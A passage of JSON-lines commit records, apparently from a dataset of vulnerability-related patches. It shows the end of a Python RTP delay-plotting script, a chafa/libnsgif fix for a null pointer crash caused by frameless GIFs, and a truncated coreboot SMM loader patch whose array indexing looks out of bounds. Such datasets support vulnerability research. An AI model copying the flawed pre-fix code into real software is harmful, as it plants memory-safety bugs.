max(timeTot))\n+pyplot.ylim(min(dTot), maxD*1.2)\n+pyplot.ylabel('Delay (ms) tot')\n+#pyplot.title('Total')\n+pyplot.subplot(3,1,2);\n+pyplot.plot(timeBase,dBase);\n+pyplot.xlim(min(timeTot), max(timeTot))\n+pyplot.ylim(min(dTot), max(dBase)*1.2)\n+pyplot.ylabel('Delay (ms) base')\n+#pyplot.title('Base')\n+pyplot.subplot(3,1,3);\n+pyplot.plot(timeRtx,dRtx,'.');\n+pyplot.xlim(min(timeTot), max(timeTot))\n+pyplot.ylim(min(dTot), maxD*1.2)\n+pyplot.ylabel('Delay (ms) rtx')\n+pyplot.xlabel('Time (s)')\n+#pyplot.title('Rtx')\n+\n+#pyplot.show();\n+\n+pyplot.savefig(pre + '_Delay.png');\n+\n+# Plot the bitrate\n+timeRate = array('f',[]);\n+Rate = array('f',[]);\n+Pps = array('f',[]);\n+Fps = array('f',[]);\n+loss = array('f',[]);\n+for i in range(0,packets-1):\n+ t1 = timeTot[i];\n+ t2 = t1;\n+ j = i;\n+ totBytes = Vp8Len[j];\n+ pkts = 1;\n+ frames = 0;\n+ seqArr = array('f',[]);\n+ while t2 < (t1 + 1):\n+ j = j + 1;\n+ if j > (packets-1):\n+ t2 = t1 + 3;\n+ else:\n+ totBytes = totBytes + Vp8Len[j];\n+ if ptBuf[j] == 228 or ptBuf[j] == (rtxPt + 128):\n+ frames = frames + 1;\n+ if ptBuf[j] == 100 or ptBuf[j] == 228:\n+ seqArr.append(seqBuf[j]);\n+ pkts = pkts + 1;\n+ t2 = timeTot[j];\n+ dt = t2 - t1;\n+ timeRate.append((t1 + t2)/2);\n+ Rate.append((totBytes*8)/dt);\n+ Pps.append(pkts/dt);\n+ Fps.append(frames/dt);\n+ if len(seqArr) > 1:\n+ dSeq = (max(seqArr)-min(seqArr));\n+ L = dSeq - len(seqArr);\n+ if dSeq > 0:\n+ L = L/(max(seqArr)-min(seqArr));\n+ loss.append(L*100)\n+ else:\n+ loss.append(100)\n+\n+pyplot.figure();\n+pyplot.subplot(4,1,1);\n+pyplot.plot(timeRate,Rate);\n+pyplot.xlim(min(timeTot), max(timeTot))\n+pyplot.ylabel('Rate (bps)')\n+pyplot.subplot(4,1,2);\n+pyplot.plot(timeRate,Pps);\n+pyplot.xlim(min(timeTot), max(timeTot))\n+pyplot.ylabel('Rate (pps)')\n+pyplot.subplot(4,1,3);\n+pyplot.plot(timeRate,Fps);\n+pyplot.xlim(min(timeTot), max(timeTot))\n+pyplot.ylabel('Rate (Fps)')\n+pyplot.subplot(4,1,4);\n+pyplot.plot(timeRate,loss);\n+pyplot.xlim(min(timeTot), max(timeTot))\n+pyplot.ylim(0, 100)\n+pyplot.ylabel('Loss Rate (%)')\n+pyplot.xlabel('Time (s)')\n+pyplot.savefig(pre + '_Rate.png');\n+", "sections": [{"section": "@@ -0,0 +1,202 @@\n+from array import *\n+import matplotlib.pyplot as pyplot\n+import sys\n+import os\n+\n+def read_uint8(f):\n+ tmp = f.read(1)\n+ if tmp == \"\": return -1;\n+ out = int(tmp.encode('hex'),16)\n+ return out\n+\n+def read_uint16(f, order='big'):\n+ if order == 'big':\n+ seq = [0,1];\n+ else:\n+ seq = [1,0];\n+ tmp = f.read(2)\n+ if tmp == \"\": return -1;\n+ out = 0\n+ for j in seq: out = (out << 8) + int(tmp[j].encode('hex'),16)\n+ return out\n+\n+def read_uint32(f, order='big'):\n+ if order == 'big':\n+ seq = [0,1,2,3];\n+ else:\n+ seq = [3,2,1,0];\n+ tmp = f.read(4)\n+ out = 0\n+ for j in seq: out = (out << 8) + int(tmp[j].encode('hex'),16)\n+ return out\n+\n+file_name = sys.argv[1];\n+\n+pre, ext = os.path.splitext(file_name)\n+\n+f = open(file_name,\"rb\")\n+try:\n+ byte = f.read(30)\n+ print byte\n+ length = read_uint16(f);\n+ D_min = 0xffffffff;\n+ packets = 0;\n+ while length != -1:\n+ plen = read_uint16(f);\n+ time = read_uint32(f);\n+ Vp8Len = read_uint32(f);\n+ tmp = read_uint8(f);\n+ pt = read_uint8(f);\n+ seq = read_uint16(f);\n+ timestamp = read_uint32(f);\n+ ssrc = read_uint32(f);\n+ byte = f.read(18)\n+ packets = packets + 1;\n+ D = time - timestamp/90;\n+ if(D < D_min): D_min = D\n+ length = read_uint16(f);\n+finally:\n+ f.close()\n+\n+f = open(file_name,\"rb\")\n+try:\n+ byte = f.read(30)\n+ length = read_uint16(f);\n+ packets = 0;\n+ timeTot = array('f',[]);\n+ timeBase = array('f',[]);\n+ timeRtx = array('f',[]);\n+ dTot = array('L',[]);\n+ dBase = array('L',[]);\n+ dRtx = array('f',[]);\n+ Vp8Len = array('L',[]);\n+ timestampBuf = array('L',[]);\n+ seqBuf = array('L',[]);\n+ ptBuf = array('L',[]);\n+ D_min_smth = time * 0.0001;\n+ alpha = 0.0001;\n+ prev_timestamp = -1;\n+ rtxPt = -1000;\n+ while length != -1:\n+ plen = read_uint16(f);\n+ time = read_uint32(f);\n+ timeTot.append(float(time)/1000.0);\n+ Vp8Len.append(read_uint32(f,'little'));\n+ tmp = read_uint8(f);\n+ pt = read_uint8(f);\n+ ptBuf.append(pt);\n+ seq = read_uint16(f);\n+ seqBuf.append(seq);\n+ timestamp = read_uint32(f);\n+ timestampBuf.append(timestamp);\n+ ssrc = read_uint32(f);\n+ byte = f.read(18);\n+ d = time - timestamp/90;\n+ d = d - D_min;\n+ if d < D_min_smth:\n+ D_min_smth = d;\n+ else:\n+ D_min_smth = D_min_smth*(1-alpha) + d*alpha;\n+ d = d - int(D_min_smth)\n+ dTot.append(d);\n+ if (pt == 100 or pt == 228):\n+ dBase.append(d);\n+ timeBase.append(float(time)/1000.0);\n+ else:\n+ dRtx.append(d);\n+ timeRtx.append(float(time)/1000.0);\n+ rtxPt = pt & 0x7f;\n+ packets = packets + 1;\n+ length = read_uint16(f);\n+finally:\n+ f.close()\n+\n+maxD = max(dTot);\n+#if maxD > 1000:\n+ #maxD = 1000;\n+pyplot.figure();\n+pyplot.subplot(3,1,1);\n+pyplot.plot(timeTot,dTot);\n+pyplot.xlim(min(timeTot), max(timeTot))\n+pyplot.ylim(min(dTot), maxD*1.2)\n+pyplot.ylabel('Delay (ms) tot')\n+#pyplot.title('Total')\n+pyplot.subplot(3,1,2);\n+pyplot.plot(timeBase,dBase);\n+pyplot.xlim(min(timeTot), max(timeTot))\n+pyplot.ylim(min(dTot), max(dBase)*1.2)\n+pyplot.ylabel('Delay (ms) base')\n+#pyplot.title('Base')\n+pyplot.subplot(3,1,3);\n+pyplot.plot(timeRtx,dRtx,'.');\n+pyplot.xlim(min(timeTot), max(timeTot))\n+pyplot.ylim(min(dTot), maxD*1.2)\n+pyplot.ylabel('Delay (ms) rtx')\n+pyplot.xlabel('Time (s)')\n+#pyplot.title('Rtx')\n+\n+#pyplot.show();\n+\n+pyplot.savefig(pre + '_Delay.png');\n+\n+# Plot the bitrate\n+timeRate = array('f',[]);\n+Rate = array('f',[]);\n+Pps = array('f',[]);\n+Fps = array('f',[]);\n+loss = array('f',[]);\n+for i in range(0,packets-1):\n+ t1 = timeTot[i];\n+ t2 = t1;\n+ j = i;\n+ totBytes = Vp8Len[j];\n+ pkts = 1;\n+ frames = 0;\n+ seqArr = array('f',[]);\n+ while t2 < (t1 + 1):\n+ j = j + 1;\n+ if j > (packets-1):\n+ t2 = t1 + 3;\n+ else:\n+ totBytes = totBytes + Vp8Len[j];\n+ if ptBuf[j] == 228 or ptBuf[j] == (rtxPt + 128):\n+ frames = frames + 1;\n+ if ptBuf[j] == 100 or ptBuf[j] == 228:\n+ seqArr.append(seqBuf[j]);\n+ pkts = pkts + 1;\n+ t2 = timeTot[j];\n+ dt = t2 - t1;\n+ timeRate.append((t1 + t2)/2);\n+ Rate.append((totBytes*8)/dt);\n+ Pps.append(pkts/dt);\n+ Fps.append(frames/dt);\n+ if len(seqArr) > 1:\n+ dSeq = (max(seqArr)-min(seqArr));\n+ L = dSeq - len(seqArr);\n+ if dSeq > 0:\n+ L = L/(max(seqArr)-min(seqArr));\n+ loss.append(L*100)\n+ else:\n+ loss.append(100)\n+\n+pyplot.figure();\n+pyplot.subplot(4,1,1);\n+pyplot.plot(timeRate,Rate);\n+pyplot.xlim(min(timeTot), max(timeTot))\n+pyplot.ylabel('Rate (bps)')\n+pyplot.subplot(4,1,2);\n+pyplot.plot(timeRate,Pps);\n+pyplot.xlim(min(timeTot), max(timeTot))\n+pyplot.ylabel('Rate (pps)')\n+pyplot.subplot(4,1,3);\n+pyplot.plot(timeRate,Fps);\n+pyplot.xlim(min(timeTot), max(timeTot))\n+pyplot.ylabel('Rate (Fps)')\n+pyplot.subplot(4,1,4);\n+pyplot.plot(timeRate,loss);\n+pyplot.xlim(min(timeTot), max(timeTot))\n+pyplot.ylim(0, 100)\n+pyplot.ylabel('Loss Rate (%)')\n+pyplot.xlabel('Time (s)')\n+pyplot.savefig(pre + '_Rate.png');\n+", "related": false}]} +{"owner": "hpjansson", "repo": "chafa", "language": "C", "file_name": "libnsgif/libnsgif.c", "commit_id": "e4b777c7b7c144cd16a0ea96108267b1004fe6c9", "commit_message": "libnsgif: Fix null pointer deref on frameless GIF input\n\nA crafted GIF file with no frame data could cause a null pointer\ndereference leading to denial of service (crash). Reported by\n@JieyongMa via huntr.dev.", "patch": "@@ -595,6 +595,12 @@ gif_internal_decode_frame(gif_animation *gif,\n unsigned int x, y, decode_y, burst_bytes;\n register unsigned char colour;\n \n+ /* If the GIF has no frame data, frame holders will not be allocated in\n+ * gif_initialise() */\n+ if (gif->frames == NULL) {\n+ return GIF_INSUFFICIENT_DATA;\n+ }\n+\n /* Ensure this frame is supposed to be decoded */\n if (gif->frames[frame].display == false) {\n return GIF_OK;", "sections": [{"section": "@@ -595,6 +595,12 @@ gif_internal_decode_frame(gif_animation *gif,\n unsigned int x, y, decode_y, burst_bytes;\n register unsigned char colour;\n \n+ /* If the GIF has no frame data, frame holders will not be allocated in\n+ * gif_initialise() */\n+ if (gif->frames == NULL) {\n+ return GIF_INSUFFICIENT_DATA;\n+ }\n+\n /* Ensure this frame is supposed to be decoded */\n if (gif->frames[frame].display == false) {\n return GIF_OK;", "related": false}]} +{"owner": "coreboot", "repo": "coreboot", "language": "C", "file_name": "src/cpu/x86/smm/smm_module_loaderv2.c", "commit_id": "afb7a814783cda12f5b72167163b9109ee1d15a7", "commit_message": "cpu/x86/smm: Introduce SMM module loader version 2\n\nXeon-SP Skylake Scalable Processor can have 36 CPU threads (18 cores).\nCurrent coreboot SMM is unable to handle more than ~32 CPU threads.\nThis patch introduces a version 2 of the SMM module loader which\naddresses this problem. Having two versions of the SMM module loader\nprevents any issues to current projects. Future Xeon-SP products will\nbe using this version of the SMM loader. Subsequent patches will\nenable board specific functionality for Xeon-SP.\n\nThe reason for moving to version 2 is the state save area begins to\nencroach upon the SMI handling code when more than 32 CPU threads are\nin the system. This can cause system hangs, reboots, etc. The second\nchange is related to staggered entry points with simple near jumps. In\nthe current loader, near jumps will not work because the CPU is jumping\nwithin the same code segment. In version 2, \"far\" address jumps are\nnecessary therefore protected mode must be enabled first. The SMM\nlayout and how the CPUs are staggered are documented in the code.\n\nBy making the modifications above, this allows the smm module loader to\nexpand easily as more CPU threads are added.\n\nTEST=build for Tiogapass platform under OCP mainboard. Enable the\nfollowing in Kconfig.\n select CPU_INTEL_COMMON_SMM\n select SOC_INTEL_COMMON_BLOCK_SMM\n select SMM_TSEG\n select HAVE_SMI_HANDLER\n select ACPI_INTEL_HARDWARE_SLEEP_VALUES\n\nDebug console will show all 36 cores relocated. Further tested by\ngenerating SMI's to port 0xb2 using XDP/ITP HW debugger and ensured all\ncores entering and exiting SMM properly. In addition, booted to Linux\n5.4 kernel and observed no issues during mp init.\n\nChange-Id: I00a23a5f2a46110536c344254868390dbb71854c\nSigned-off-by: Rocky Phagura \nReviewed-on: https://review.coreboot.org/c/coreboot/+/43684\nTested-by: build bot (Jenkins) \nReviewed-by: Angel Pons ", "patch": "@@ -0,0 +1,655 @@\n+/* SPDX-License-Identifier: GPL-2.0-only */\n+\n+#include \n+#include \n+#include \n+#include \n+#include \n+#include \n+#include \n+\n+#define FXSAVE_SIZE 512\n+#define SMM_CODE_SEGMENT_SIZE 0x10000\n+/* FXSAVE area during relocation. While it may not be strictly needed the\n+ SMM stub code relies on the FXSAVE area being non-zero to enable SSE\n+ instructions within SMM mode. */\n+static uint8_t fxsave_area_relocation[CONFIG_MAX_CPUS][FXSAVE_SIZE]\n+__attribute__((aligned(16)));\n+\n+/*\n+ * Components that make up the SMRAM:\n+ * 1. Save state - the total save state memory used\n+ * 2. Stack - stacks for the CPUs in the SMM handler\n+ * 3. Stub - SMM stub code for calling into handler\n+ * 4. Handler - C-based SMM handler.\n+ *\n+ * The components are assumed to consist of one consecutive region.\n+ */\n+\n+/* These parameters are used by the SMM stub code. A pointer to the params\n+ * is also passed to the C-base handler. */\n+struct smm_stub_params {\n+\tu32 stack_size;\n+\tu32 stack_top;\n+\tu32 c_handler;\n+\tu32 c_handler_arg;\n+\tu32 fxsave_area;\n+\tu32 fxsave_area_size;\n+\tstruct smm_runtime runtime;\n+} __packed;\n+\n+/*\n+ * The stub is the entry point that sets up protected mode and stacks for each\n+ * CPU. It then calls into the SMM handler module. It is encoded as an rmodule.\n+ */\n+extern unsigned char _binary_smmstub_start[];\n+\n+/* Per CPU minimum stack size. */\n+#define SMM_MINIMUM_STACK_SIZE 32\n+\n+struct cpu_smm_info {\n+\tuint8_t active;\n+\tuintptr_t smbase;\n+\tuintptr_t entry;\n+\tuintptr_t ss_start;\n+\tuintptr_t code_start;\n+\tuintptr_t code_end;\n+};\n+struct cpu_smm_info cpus[CONFIG_MAX_CPUS] = { 0 };\n+\n+/*\n+ * This method creates a map of all the CPU entry points, save state locations\n+ * and the beginning and end of code segments for each CPU. This map is used\n+ * during relocation to properly align as many CPUs that can fit into the SMRAM\n+ * region. For more information on how SMRAM works, refer to the latest Intel\n+ * developer's manuals (volume 3, chapter 34). SMRAM is divided up into the\n+ * following regions:\n+ * +-----------------+ Top of SMRAM\n+ * | | <- MSEG, FXSAVE\n+ * +-----------------+\n+ * | common |\n+ * | smi handler | 64K\n+ * | |\n+ * +-----------------+\n+ * | CPU 0 code seg |\n+ * +-----------------+\n+ * | CPU 1 code seg |\n+ * +-----------------+\n+ * | CPU x code seg |\n+ * +-----------------+\n+ * | |\n+ * | |\n+ * +-----------------+\n+ * | stacks |\n+ * +-----------------+ <- START of SMRAM\n+ *\n+ * The code below checks when a code segment is full and begins placing the remainder\n+ * CPUs in the lower segments. The entry point for each CPU is smbase + 0x8000\n+ * and save state is smbase + 0x8000 + (0x8000 - state save size). Save state\n+ * area grows downward into the CPUs entry point. Therefore staggering too many\n+ * CPUs in one 32K block will corrupt CPU0's entry code as the save states move\n+ * downward.\n+ * input : smbase of first CPU (all other CPUs\n+ * will go below this address)\n+ * input : num_cpus in the system. The map will\n+ * be created from 0 to num_cpus.\n+ */\n+static int smm_create_map(uintptr_t smbase, unsigned int num_cpus,\n+\t\t\tconst struct smm_loader_params *params)\n+{\n+\tunsigned int i;\n+\tstruct rmodule smm_stub;\n+\tunsigned int ss_size = params->per_cpu_save_state_size, stub_size;\n+\tunsigned int smm_entry_offset = params->smm_main_entry_offset;\n+\tunsigned int seg_count = 0, segments = 0, available;\n+\tunsigned int cpus_in_segment = 0;\n+\tunsigned int base = smbase;\n+\n+\tif (rmodule_parse(&_binary_smmstub_start, &smm_stub)) {\n+\t\tprintk(BIOS_ERR, \"%s: unable to get SMM module size\\n\", __func__);\n+\t\treturn 0;\n+\t}\n+\n+\tstub_size = rmodule_memory_size(&smm_stub);\n+\t/* How many CPUs can fit into one 64K segment? */\n+\tavailable = 0xFFFF - smm_entry_offset - ss_size - stub_size;\n+\tif (available > 0) {\n+\t\tcpus_in_segment = available / ss_size;\n+\t\t/* minimum segments needed will always be 1 */\n+\t\tsegments = num_cpus / cpus_in_segment + 1;\n+\t\tprintk(BIOS_DEBUG,\n+\t\t\t\"%s: cpus allowed in one segment %d\\n\", __func__, cpus_in_segment);\n+\t\tprintk(BIOS_DEBUG,\n+\t\t\t\"%s: min # of segments needed %d\\n\", __func__, segments);\n+\t} else {\n+\t\tprintk(BIOS_ERR, \"%s: not enough space in SMM to setup all CPUs\\n\", __func__);\n+\t\tprintk(BIOS_ERR, \" save state & stub size need to be reduced\\n\");\n+\t\tprintk(BIOS_ERR, \" or increase SMRAM size\\n\");\n+\t\treturn 0;\n+\t}\n+\n+\tif (sizeof(cpus) / sizeof(struct cpu_smm_info) < num_cpus) {\n+\t\tprintk(BIOS_ERR,\n+\t\t\t\"%s: increase MAX_CPUS in Kconfig\\n\", __func__);\n+\t\treturn 0;\n+\t}\n+\n+\tfor (i = 0; i < num_cpus; i++) {\n+\t\tcpus[i].smbase = base;\n+\t\tcpus[i].entry = base + smm_entry_offset;\n+\t\tcpus[i].ss_start = cpus[i].entry + (smm_entry_offset - ss_size);\n+\t\tcpus[i].code_start = cpus[i].entry;\n+\t\tcpus[i].code_end = cpus[i].entry + stub_size;\n+\t\tcpus[i].active = 1;\n+\t\tbase -= ss_size;\n+\t\tseg_count++;\n+\t\tif (seg_count >= cpus_in_segment) {\n+\t\t\tbase -= smm_entry_offset;\n+\t\t\tseg_count = 0;\n+\t\t}\n+\t}\n+\n+\tif (CONFIG_DEFAULT_CONSOLE_LOGLEVEL >= BIOS_DEBUG) {\n+\t\tseg_count = 0;\n+\t\tfor (i = 0; i < num_cpus; i++) {\n+\t\t\tprintk(BIOS_DEBUG, \"CPU 0x%x\\n\", i);\n+\t\t\tprintk(BIOS_DEBUG,\n+\t\t\t\t\" smbase %zx entry %zx\\n\",\n+\t\t\t\tcpus[i].smbase, cpus[i].entry);\n+\t\t\tprintk(BIOS_DEBUG,\n+\t\t\t\t\" ss_start %zx code_end %zx\\n\",\n+\t\t\t\tcpus[i].ss_start, cpus[i].code_end);\n+\t\t\tseg_count++;\n+\t\t\tif (seg_count >= cpus_in_segment) {\n+\t\t\t\tprintk(BIOS_DEBUG,\n+\t\t\t\t\t\"-------------NEW CODE SEGMENT --------------\\n\");\n+\t\t\t\tseg_count = 0;\n+\t\t\t}\n+\t\t}\n+\t}\n+\treturn 1;\n+}\n+\n+/*\n+ * This method expects the smm relocation map to be complete.\n+ * This method does not read any HW registers, it simply uses a\n+ * map that was created during SMM setup.\n+ * input: cpu_num - cpu number which is used as an index into the\n+ * map to return the smbase\n+ */\n+u32 smm_get_cpu_smbase(unsigned int cpu_num)\n+{\n+\tif (cpu_num < CONFIG_MAX_CPUS) {\n+\t\tif (cpus[cpu_num].active)\n+\t\t\treturn cpus[cpu_num].smbase;\n+\t}\n+\treturn 0;\n+}\n+\n+/*\n+ * This method assumes that at least 1 CPU has been set up from\n+ * which it will place other CPUs below its smbase ensuring that\n+ * save state does not clobber the first CPUs init code segment. The init\n+ * code which is the smm stub code is the same for all CPUs. They enter\n+ * smm, setup stacks (based on their apic id), enter protected mode\n+ * and then jump to the common smi handler. The stack is allocated\n+ * at the beginning of smram (aka tseg base, not smbase). The stack\n+ * pointer for each CPU is calculated by using its apic id\n+ * (code is in smm_stub.s)\n+ * Each entry point will now have the same stub code which, sets up the CPU\n+ * stack, enters protected mode and then jumps to the smi handler. It is\n+ * important to enter protected mode before the jump because the \"jump to\n+ * address\" might be larger than the 20bit address supported by real mode.\n+ * SMI entry right now is in real mode.\n+ * input: smbase - this is the smbase of the first cpu not the smbase\n+ * where tseg starts (aka smram_start). All CPUs code segment\n+ * and stack will be below this point except for the common\n+ * SMI handler which is one segment above\n+ * input: num_cpus - number of cpus that need relocation including\n+ * the first CPU (though its code is already loaded)\n+ * input: top of stack (stacks work downward by default in Intel HW)\n+ * output: return -1, if runtime smi code could not be installed. In\n+ * this case SMM will not work and any SMI's generated will\n+ * cause a CPU shutdown or general protection fault because\n+ * the appropriate smi handling code was not installed\n+ */\n+\n+static int smm_place_entry_code(uintptr_t smbase, unsigned int num_cpus,\n+\t\t\t\tunsigned int stack_top, const struct smm_loader_params *params)\n+{\n+\tunsigned int i;\n+\tunsigned int size;\n+\tif (smm_create_map(smbase, num_cpus, params)) {\n+\t\t/*\n+\t\t * Ensure there was enough space and the last CPUs smbase\n+\t\t * did not encroach upon the stack. Stack top is smram start\n+\t\t * + size of stack.\n+\t\t */\n+\t\tif (cpus[num_cpus].active) {\n+\t\t\tif (cpus[num_cpus - 1].smbase +\n+\t\t\t\tparams->smm_main_entry_offset < stack_top) {\n+\t\t\t\tprintk(BIOS_ERR, \"%s: stack encroachment\\n\", __func__);\n+\t\t\t\tprintk(BIOS_ERR, \"%s: smbase %zx, stack_top %x\\n\",\n+\t\t\t\t\t__func__, cpus[num_cpus].smbase, stack_top);\n+\t\t\t\treturn 0;\n+\t\t\t}\n+\t\t}\n+\t} else {\n+\t\tprintk(BIOS_ERR, \"%s: unable to place smm entry code\\n\", __func__);\n+\t\treturn 0;\n+\t}\n+\n+\tprintk(BIOS_INFO, \"%s: smbase %zx, stack_top %x\\n\",\n+\t\t__func__, cpus[num_cpus-1].smbase, stack_top);\n+\n+\t/* start at 1, the first CPU stub code is already there */\n+\tsize = cpus[0].code_end - cpus[0].code_start;\n+\tfor (i = 1; i < num_cpus; i++) {\n+\t\tmemcpy((int *)cpus[i].code_start, (int *)cpus[0].code_start, size);\n+\t\tprintk(BIOS_DEBUG,\n+\t\t\t\"SMM Module: placing smm entry code at %zx, cpu # 0x%x\\n\",\n+\t\t\tcpus[i].code_start, i);\n+\t\tprintk(BIOS_DEBUG, \"%s: copying from %zx to %zx 0x%x bytes\\n\",\n+\t\t\t__func__, cpus[0].code_start, cpus[i].code_start, size);\n+\t}\n+\treturn 1;\n+}\n+\n+/*\n+ * Place stacks in base -> base + size region, but ensure the stacks don't\n+ * overlap the staggered entry points.\n+ */\n+static void *smm_stub_place_stacks(char *base, size_t size,\n+\t\t\t\t struct smm_loader_params *params)\n+{\n+\tsize_t total_stack_size;\n+\tchar *stacks_top;\n+\n+\t/* If stack space is requested assume the space lives in the lower\n+\t * half of SMRAM. */\n+\ttotal_stack_size = params->per_cpu_stack_size *\n+\t\t\t params->num_concurrent_stacks;\n+\tprintk(BIOS_DEBUG, \"%s: cpus: %zx : stack space: needed -> %zx\\n\",\n+\t\t__func__, params->num_concurrent_stacks,\n+\t\ttotal_stack_size);\n+\tprintk(BIOS_DEBUG, \" available -> %zx : per_cpu_stack_size : %zx\\n\",\n+\t\tsize, params->per_cpu_stack_size);\n+\n+\t/* There has to be at least one stack user. */\n+\tif (params->num_concurrent_stacks < 1)\n+\t\treturn NULL;\n+\n+\t/* Total stack size cannot fit. */\n+\tif (total_stack_size > size)\n+\t\treturn NULL;\n+\n+\t/* Stacks extend down to SMBASE */\n+\tstacks_top = &base[total_stack_size];\n+\tprintk(BIOS_DEBUG, \"%s: exit, stack_top %p\\n\", __func__, stacks_top);\n+\n+\treturn stacks_top;\n+}\n+\n+/*\n+ * Place the staggered entry points for each CPU. The entry points are\n+ * staggered by the per CPU SMM save state size extending down from\n+ * SMM_ENTRY_OFFSET.\n+ */\n+static int smm_stub_place_staggered_entry_points(char *base,\n+\tconst struct smm_loader_params *params, const struct rmodule *smm_stub)\n+{\n+\tsize_t stub_entry_offset;\n+\tint rc = 1;\n+\tstub_entry_offset = rmodule_entry_offset(smm_stub);\n+\t/* Each CPU now has its own stub code, which enters protected mode,\n+\t * sets up the stack, and then jumps to common SMI handler\n+\t */\n+\tif (params->num_concurrent_save_states > 1 || stub_entry_offset != 0) {\n+\t\trc = smm_place_entry_code((unsigned int)base,\n+\t\t\tparams->num_concurrent_save_states,\n+\t\t\t(unsigned int)params->stack_top, params);\n+\t}\n+\treturn rc;\n+}\n+\n+/*\n+ * The stub setup code assumes it is completely contained within the\n+ * default SMRAM size (0x10000) for the default SMI handler (entry at\n+ * 0x30000), but no assumption should be made for the permanent SMI handler.\n+ * The placement of CPU entry points for permanent handler are determined\n+ * by the number of CPUs in the system and the amount of SMRAM.\n+ * There are potentially 3 regions to place\n+ * within the default SMRAM size:\n+ * 1. Save state areas\n+ * 2. Stub code\n+ * 3. Stack areas\n+ *\n+ * The save state and smm stack are treated as contiguous for the number of\n+ * concurrent areas requested. The save state always lives at the top of the\n+ * the CPUS smbase (and the entry point is at offset 0x8000). This allows only a certain\n+ * number of CPUs with staggered entry points until the save state area comes\n+ * down far enough to overwrite/corrupt the entry code (stub code). Therefore,\n+ * an SMM map is created to avoid this corruption, see smm_create_map() above.\n+ * This module setup code works for the default (0x30000) SMM handler setup and the\n+ * permanent SMM handler.\n+ */\n+static int smm_module_setup_stub(void *smbase, size_t smm_size,\n+\t\t\t\t struct smm_loader_params *params,\n+\t\t\t\t void *fxsave_area)\n+{\n+\tsize_t total_save_state_size;\n+\tsize_t smm_stub_size;\n+\tsize_t stub_entry_offset;\n+\tchar *smm_stub_loc;\n+\tvoid *stacks_top;\n+\tsize_t size;\n+\tchar *base;\n+\tsize_t i;\n+\tstruct smm_stub_params *stub_params;\n+\tstruct rmodule smm_stub;\n+\tunsigned int total_size_all;\n+\tbase = smbase;\n+\tsize = smm_size;\n+\n+\t/* The number of concurrent stacks cannot exceed CONFIG_MAX_CPUS. */\n+\tif (params->num_concurrent_stacks > CONFIG_MAX_CPUS) {\n+\t\tprintk(BIOS_ERR, \"%s: not enough stacks\\n\", __func__);\n+\t\treturn -1;\n+\t}\n+\n+\t/* Fail if can't parse the smm stub rmodule. */\n+\tif (rmodule_parse(&_binary_smmstub_start, &smm_stub)) {\n+\t\tprintk(BIOS_ERR, \"%s: unable to parse smm stub\\n\", __func__);\n+\t\treturn -1;\n+\t}\n+\n+\t/* Adjust remaining size to account for save state. */\n+\ttotal_save_state_size = params->per_cpu_save_state_size *\n+\t\t\t\tparams->num_concurrent_save_states;\n+\tif (total_save_state_size > size) {\n+\t\tprintk(BIOS_ERR,\n+\t\t\t\"%s: more state save space needed:need -> %zx:available->%zx\\n\",\n+\t\t\t__func__, total_save_state_size, size);\n+\t\treturn -1;\n+\t}\n+\n+\tsize -= total_save_state_size;\n+\n+\t/* The save state size encroached over the first SMM entry point. */\n+\tif (size <= params->smm_main_entry_offset) {\n+\t\tprintk(BIOS_ERR, \"%s: encroachment over SMM entry point\\n\", __func__);\n+\t\tprintk(BIOS_ERR, \"%s: state save size: %zx : smm_entry_offset -> %x\\n\",\n+\t\t\t__func__, size, params->smm_main_entry_offset);\n+\t\treturn -1;\n+\t}\n+\n+\t/* Need a minimum stack size and alignment. */\n+\tif (params->per_cpu_stack_size <= SMM_MINIMUM_STACK_SIZE ||\n+\t (params->per_cpu_stack_size & 3) != 0) {\n+\t\tprintk(BIOS_ERR, \"%s: need minimum stack size\\n\", __func__);\n+\t\treturn -1;\n+\t}\n+\n+\tsmm_stub_loc = NULL;\n+\tsmm_stub_size = rmodule_memory_size(&smm_stub);\n+\tstub_entry_offset = rmodule_entry_offset(&smm_stub);\n+\n+\t/* Put the stub at the main entry point */\n+\tsmm_stub_loc = &base[params->smm_main_entry_offset];\n+\n+\t/* Stub is too big to fit. */\n+\tif (smm_stub_size > (size - params->smm_main_entry_offset)) {\n+\t\tprintk(BIOS_ERR, \"%s: stub is too big to fit\\n\", __func__);\n+\t\treturn -1;\n+\t}\n+\n+\t/* The stacks, if requested, live in the lower half of SMRAM space\n+\t * for default handler, but for relocated handler it lives at the beginning\n+\t * of SMRAM which is TSEG base\n+\t */\n+\tsize = params->num_concurrent_stacks * params->per_cpu_stack_size;\n+\tstacks_top = smm_stub_place_stacks((char *)params->smram_start, size, params);\n+\tif (stacks_top == NULL) {\n+\t\tprintk(BIOS_ERR, \"%s: not enough space for stacks\\n\", __func__);\n+\t\tprintk(BIOS_ERR, \"%s: ....need -> %p : available -> %zx\\n\", __func__,\n+\t\t\tbase, size);\n+\t\treturn -1;\n+\t}\n+\tparams->stack_top = stacks_top;\n+\t/* Load the stub. */\n+\tif (rmodule_load(smm_stub_loc, &smm_stub)) {\n+\t\tprintk(BIOS_ERR, \"%s: load module failed\\n\", __func__);\n+\t\treturn -1;\n+\t}\n+\n+\tif (!smm_stub_place_staggered_entry_points(base, params, &smm_stub)) {\n+\t\tprintk(BIOS_ERR, \"%s: staggered entry points failed\\n\", __func__);\n+\t\treturn -1;\n+\t}\n+\n+\t/* Setup the parameters for the stub code. */\n+\tstub_params = rmodule_parameters(&smm_stub);\n+\tstub_params->stack_top = (uintptr_t)stacks_top;\n+\tstub_params->stack_size = params->per_cpu_stack_size;\n+\tstub_params->c_handler = (uintptr_t)params->handler;\n+\tstub_params->c_handler_arg = (uintptr_t)params->handler_arg;\n+\tstub_params->fxsave_area = (uintptr_t)fxsave_area;\n+\tstub_params->fxsave_area_size = FXSAVE_SIZE;\n+\tstub_params->runtime.smbase = (uintptr_t)smbase;\n+\tstub_params->runtime.smm_size = smm_size;\n+\tstub_params->runtime.save_state_size = params->per_cpu_save_state_size;\n+\tstub_params->runtime.num_cpus = params->num_concurrent_stacks;\n+\n+\tprintk(BIOS_DEBUG, \"%s: stack_end = 0x%x\\n\",\n+\t\t__func__, stub_params->runtime.smbase);\n+\tprintk(BIOS_DEBUG,\n+\t\t\"%s: stack_top = 0x%x\\n\", __func__, stub_params->stack_top);\n+\tprintk(BIOS_DEBUG, \"%s: stack_size = 0x%x\\n\",\n+\t\t__func__, stub_params->stack_size);\n+\tprintk(BIOS_DEBUG, \"%s: runtime.smbase = 0x%x\\n\",\n+\t\t__func__, stub_params->runtime.smbase);\n+\tprintk(BIOS_DEBUG, \"%s: runtime.start32_offset = 0x%x\\n\", 